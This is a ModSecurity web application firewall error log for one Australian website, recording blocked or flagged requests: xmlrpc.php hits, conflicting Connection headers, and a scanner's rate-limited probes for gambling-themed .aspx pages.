[Sat Mar 07 19:27:35.014977 2026] [:error] [pid 14885:tid 14923] [client 180.191.183.193:53964] [client 180.191.183.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.191.183.193, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aawLp1j4t7-EBJadtcWtogAAA5g"]
[Sat Mar 07 21:22:18.485008 2026] [:error] [pid 4315:tid 4457] [client 49.51.178.45:36658] [client 49.51.178.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aawmitDEK9AXzxu9OSgKAwAAAIo"]
[Sat Mar 07 22:18:25.779675 2026] [:error] [pid 4315:tid 4464] [client 170.106.163.48:52514] [client 170.106.163.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aawzsdDEK9AXzxu9OSgeiwAAAJA"]
[Sat Mar 07 22:27:55.872886 2026] [:error] [pid 14885:tid 14902] [client 153.252.96.132:1433] [client 153.252.96.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 153.252.96.132, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aaw161j4t7-EBJadtcXaUAAAA4M"]
[Sun Mar 08 02:57:42.905525 2026] [:error] [pid 19386:tid 19490] [client 43.130.74.193:38120] [client 43.130.74.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aax1JqOoo-DmQSb2USBtQAAAAdE"]
[Sun Mar 08 10:08:44.451111 2026] [:error] [pid 22788:tid 22879] [client 43.130.60.195:59308] [client 43.130.60.195] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aazaLEhwluk21OG9mScxOAAAA5g"]
[Sun Mar 08 11:33:50.896887 2026] [:error] [pid 22786:tid 22806] [client 125.21.29.10:60671] [client 125.21.29.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.21.29.10, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aazuHnPuJewMN2jPbdVfDAAAAwU"]
[Sun Mar 08 11:33:59.305808 2026] [:error] [pid 22788:tid 22858] [client 154.119.224.90:55193] [client 154.119.224.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.119.224.90, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aazuJ0hwluk21OG9mSdGqgAAA4M"]
[Sun Mar 08 15:22:33.226932 2026] [:error] [pid 22786:tid 22810] [client 147.135.252.148:58536] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aa0juXPuJewMN2jPbdWMyQAAAwk"]
[Sun Mar 08 15:22:36.220155 2026] [:error] [pid 22787:tid 22844] [client 147.135.252.148:44672] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aa0jvEF9MGMhk9pT4z7JTAAAA1A"]
[Sun Mar 08 15:22:39.145105 2026] [:error] [pid 22790:tid 22894] [client 147.135.252.148:48522] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aa0jvxXbGDWrzD_dTOeG-QAAA8w"]
[Sun Mar 08 15:42:30.352631 2026] [:error] [pid 22790:tid 22905] [client 43.130.72.177:34728] [client 43.130.72.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aa0oZhXbGDWrzD_dTOeVYAAAA9c"]
[Sun Mar 08 17:20:32.841452 2026] [:error] [pid 22786:tid 22807] [client 217.182.194.26:58792] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aa0_YHPuJewMN2jPbdXMqgAAAwY"]
[Sun Mar 08 17:20:35.700283 2026] [:error] [pid 22786:tid 22816] [client 217.182.194.26:46256] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aa0_Y3PuJewMN2jPbdXMuAAAAw8"]
[Sun Mar 08 17:20:38.656420 2026] [:error] [pid 22668:tid 22752] [client 217.182.194.26:46262] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aa0_ZumzLHpblwnQgPgJZgAAApQ"]
[Sun Mar 08 17:20:41.176714 2026] [:error] [pid 22786:tid 22815] [client 217.182.194.26:46268] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aa0_aXPuJewMN2jPbdXMxAAAAw4"]
[Sun Mar 08 17:20:43.759354 2026] [:error] [pid 22788:tid 22869] [client 217.182.194.26:58368] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aa0_a0hwluk21OG9mSfu5wAAA44"]
[Sun Mar 08 17:20:46.261747 2026] [:error] [pid 22668:tid 22734] [client 217.182.194.26:58374] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aa0_bumzLHpblwnQgPgJaQAAAoI"]
[Sun Mar 08 17:20:48.728366 2026] [:error] [pid 22790:tid 22903] [client 217.182.194.26:58382] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aa0_cBXbGDWrzD_dTOfNEAAAA9U"]
[Sun Mar 08 17:20:51.338427 2026] [:error] [pid 22790:tid 22885] [client 217.182.194.26:58388] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aa0_cxXbGDWrzD_dTOfNGgAAA8M"]
[Sun Mar 08 17:20:53.752760 2026] [:error] [pid 22786:tid 22825] [client 217.182.194.26:51718] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aa0_dXPuJewMN2jPbdXM3AAAAxg"]
[Sun Mar 08 17:20:56.429566 2026] [:error] [pid 22790:tid 22902] [client 217.182.194.26:51734] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aa0_eBXbGDWrzD_dTOfNIwAAA9Q"]
[Sun Mar 08 17:20:59.214449 2026] [:error] [pid 22786:tid 22815] [client 217.182.194.26:51744] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aa0_e3PuJewMN2jPbdXM5QAAAw4"]
[Sun Mar 08 17:21:01.699322 2026] [:error] [pid 22668:tid 22744] [client 217.182.194.26:51758] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aa0_femzLHpblwnQgPgJbwAAAow"]
[Sun Mar 08 17:21:05.044714 2026] [:error] [pid 22668:tid 22745] [client 217.182.194.26:56262] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aa0_gemzLHpblwnQgPgJdQAAAo0"]
[Sun Mar 08 17:21:08.088656 2026] [:error] [pid 22667:tid 22724] [client 217.182.194.26:56276] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aa0_hOG7qk1roo-TRWOXHwAAAlM"]
[Sun Mar 08 17:21:10.685150 2026] [:error] [pid 22786:tid 22819] [client 217.182.194.26:56282] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aa0_hnPuJewMN2jPbdXM_gAAAxI"]
[Sun Mar 08 17:21:13.413637 2026] [:error] [pid 22788:tid 22879] [client 217.182.194.26:49278] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aa0_iUhwluk21OG9mSfvEwAAA5g"]
[Sun Mar 08 17:21:16.064035 2026] [:error] [pid 22786:tid 22812] [client 217.182.194.26:49286] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aa0_jHPuJewMN2jPbdXNCwAAAws"]
[Sun Mar 08 17:21:18.876371 2026] [:error] [pid 22788:tid 22875] [client 217.182.194.26:49288] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aa0_jkhwluk21OG9mSfvHQAAA5Q"]
[Sun Mar 08 17:21:22.148780 2026] [:error] [pid 22786:tid 22825] [client 217.182.194.26:49296] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aa0_knPuJewMN2jPbdXNGAAAAxg"]
[Sun Mar 08 17:21:24.601349 2026] [:error] [pid 22787:tid 22835] [client 217.182.194.26:34656] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aa0_lEF9MGMhk9pT4z76aAAAA0c"]
[Sun Mar 08 17:21:27.520679 2026] [:error] [pid 22667:tid 22716] [client 217.182.194.26:34658] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aa0_l-G7qk1roo-TRWOXJwAAAks"]
[Sun Mar 08 17:21:51.208449 2026] [:error] [pid 22787:tid 22850] [client 217.182.194.26:34668] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aa0_r0F9MGMhk9pT4z76nAAAA1Y"]
[Sun Mar 08 17:21:53.718613 2026] [:error] [pid 22786:tid 22824] [client 217.182.194.26:43236] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aa0_sXPuJewMN2jPbdXNPwAAAxc"]
[Sun Mar 08 17:21:57.268398 2026] [:error] [pid 22786:tid 22814] [client 217.182.194.26:43248] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aa0_tXPuJewMN2jPbdXNTAAAAw0"]
[Sun Mar 08 17:22:00.159418 2026] [:error] [pid 22786:tid 22823] [client 217.182.194.26:43264] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aa0_uHPuJewMN2jPbdXNVgAAAxY"]
[Sun Mar 08 17:22:02.746276 2026] [:error] [pid 22787:tid 22833] [client 217.182.194.26:43274] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aa0_ukF9MGMhk9pT4z76pAAAA0U"]
[Sun Mar 08 17:22:05.228436 2026] [:error] [pid 22787:tid 22846] [client 217.182.194.26:51774] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aa0_vUF9MGMhk9pT4z76pgAAA1I"]
[Sun Mar 08 17:22:07.772068 2026] [:error] [pid 22667:tid 22722] [client 217.182.194.26:51782] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aa0_v-G7qk1roo-TRWOXNwAAAlE"]
[Sun Mar 08 17:22:10.889818 2026] [:error] [pid 22788:tid 22860] [client 217.182.194.26:51794] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aa0_wkhwluk21OG9mSfvYgAAA4U"]
[Sun Mar 08 17:22:13.361002 2026] [:error] [pid 22786:tid 22803] [client 217.182.194.26:58282] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aa0_xXPuJewMN2jPbdXNcwAAAwI"]
[Sun Mar 08 17:22:15.872169 2026] [:error] [pid 22788:tid 22858] [client 217.182.194.26:58292] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aa0_x0hwluk21OG9mSfvdQAAA4M"]
[Sun Mar 08 17:22:18.423062 2026] [:error] [pid 22790:tid 22882] [client 217.182.194.26:58298] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aa0_yhXbGDWrzD_dTOfNVgAAA8A"]
[Sun Mar 08 17:22:21.191592 2026] [:error] [pid 22786:tid 22824] [client 217.182.194.26:58312] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aa0_zXPuJewMN2jPbdXNggAAAxc"]
[Sun Mar 08 17:22:23.649835 2026] [:error] [pid 22786:tid 22825] [client 217.182.194.26:50950] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aa0_z3PuJewMN2jPbdXNiAAAAxg"]
[Sun Mar 08 17:22:26.352327 2026] [:error] [pid 22790:tid 22892] [client 217.182.194.26:50954] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aa0_0hXbGDWrzD_dTOfNZwAAA8o"]
[Sun Mar 08 17:22:28.889726 2026] [:error] [pid 22788:tid 22874] [client 217.182.194.26:50970] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aa0_1Ehwluk21OG9mSfvgwAAA5M"]
[Sun Mar 08 17:22:31.514574 2026] [:error] [pid 22786:tid 22803] [client 217.182.194.26:50982] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aa0_13PuJewMN2jPbdXNlwAAAwI"]
[Sun Mar 08 17:22:34.236068 2026] [:error] [pid 22788:tid 22860] [client 217.182.194.26:39536] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aa0_2khwluk21OG9mSfvjwAAA4U"]
[Sun Mar 08 17:22:36.727489 2026] [:error] [pid 22669:tid 22768] [client 217.182.194.26:39550] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aa0_3GvqAhy8LIaua-p4YwAAAsk"]
[Sun Mar 08 17:22:39.309565 2026] [:error] [pid 22788:tid 22863] [client 217.182.194.26:39562] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aa0_30hwluk21OG9mSfvmQAAA4g"]
[Sun Mar 08 17:22:42.145317 2026] [:error] [pid 22786:tid 22823] [client 217.182.194.26:39578] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aa0_4nPuJewMN2jPbdXNpAAAAxY"]
